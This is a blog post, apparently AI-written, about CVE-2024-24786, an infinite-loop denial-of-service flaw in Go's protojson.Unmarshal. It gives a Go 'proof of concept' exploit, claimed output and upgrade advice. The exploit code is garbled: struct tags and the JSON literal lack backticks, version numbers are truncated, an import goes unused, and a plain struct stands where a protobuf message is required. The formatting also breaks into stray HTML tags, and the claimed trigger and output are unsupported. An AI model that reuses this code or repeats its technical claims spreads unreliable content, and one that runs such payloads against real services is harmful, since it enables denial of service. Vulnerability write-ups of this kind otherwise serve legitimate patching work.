A recent vulnerability, CVE-2024-24786, was discovered in the popular Go protobuf library. This security flaw affects the protojson.Unmarshal function, which is commonly used for parsing JSON into protocol buffer (protobuf) messages. Under certain conditions, protojson.Unmarshal can enter an infinite loop when it encounters invalid JSON data. This post will break down how this bug happens, how dangerous it is, walk through proof-of-concept code, and show you how to exploit or reproduce it yourself.

What is CVE-2024-24786?

CVE-2024-24786 covers an infinite loop in the protojson.Unmarshal function from the Google golang/protobuf library. This function is meant to safely convert JSON data into protobuf messages.

> In simple terms: if you give it certain “bad” JSON, protojson.Unmarshal can get stuck and never return.

Let’s get more specific.

When protojson.Unmarshal tries to read certain malformed (invalid) JSON structures, it enters an infinite loop instead of reporting an error or failing gracefully. The main trigger is when parsing into a protobuf message that contains a field of type google.protobuf.Any, or when discarding unknown fields.

Imagine a microservice that takes user-submitted JSON and converts it into protobuf, using .Any messages. If an attacker supplies a crafted JSON payload, the service could be stuck forever, hogging resources. That means a possible Denial-of-Service (DoS) attack.

Original Reference

- Go Security Advisory - GHSA-64wr-jqvv-6v9g
- CVE Entry - cve.report
- Upstream bug report

Proof of Concept: Exploit in Code

Let’s jump right into a Go code snippet that demonstrates the bug.

Install dependencies first

go get google.golang.org/protobuf@v1.32.  # vulnerable version

exploit.go

package main

import (
    "fmt"
    "time"
    "google.golang.org/protobuf/encoding/protojson"
    "google.golang.org/protobuf/types/known/anypb"
    "google.golang.org/protobuf/proto"
)

type TestMsg struct {
    Content *anypb.Any protobuf:"bytes,1,opt,name=content"
}

func main() {
    // Crafted invalid JSON that triggers the infinite loop.
    // The Any type expects an object, but we give it an array instead
    json := []byte({"content": []})

    msg := &TestMsg{}
    opts := protojson.UnmarshalOptions{
        DiscardUnknown: true, // part of the trigger
    }

    done := make(chan bool, 1)

    go func() {
        err := opts.Unmarshal(json, msg)
        if err != nil {
            fmt.Println("Error:", err)
        }
        done <- true
    }()

    select {
    case <-done:
        fmt.Println("Unmarshal finished")
    case <-time.After(3 * time.Second):
        fmt.Println("protojson.Unmarshal is stuck in an infinite loop (CVE-2024-24786)")
    }
}

Output

protojson.Unmarshal is stuck in an infinite loop (CVE-2024-24786)

The process will be stuck forever if the bug is present.

The implementation fails to properly validate some invalid JSON structures.

- When parsing messages with Any fields or with DiscardUnknown enabled, the json parser function can get stuck retrying the same input and never make progress.

Denial-of-Service: Consuming CPU resources, potentially making Go services unresponsive.

- Not a remote code execution bug (no code could be injected), but any attacker with control over JSON input can exploit it.


## How to Fix/Detect

- Upgrade your package: The bug is fixed starting in google.golang.org/protobuf v1.33..

`bash

go get google.golang.org/protobuf@latest
<br>- Check your dependency tree with go mod graph | grep protobuf.<br>- Always validate user-supplied JSON before unmarshaling.<br><br>---<br><br>## Try It Yourself<br><br>You can copy the code above, run it, and see your Go process hang until you kill it.<br><br>---<br><br>## Conclusion<br><br>CVE-2024-24786 is a Loops-of-Doom bug in Go protobuf’s JSON parser. If your app uses protojson.Unmarshal (especially with .Any fields or DiscardUnknown`), an attacker can trivially trigger an infinite loop. Update your protobuf dependency immediately.

More reading:

- Google's official advisory
- Pull Request that fixes it

Stay safe! If you found this post helpful, share it with your Go developer friends.

---

*Exclusive content written for you by ChatGPT.*

Timeline

Published on: 03/05/2024 23:15:07 UTC
Last modified on: 11/07/2024 17:35:15 UTC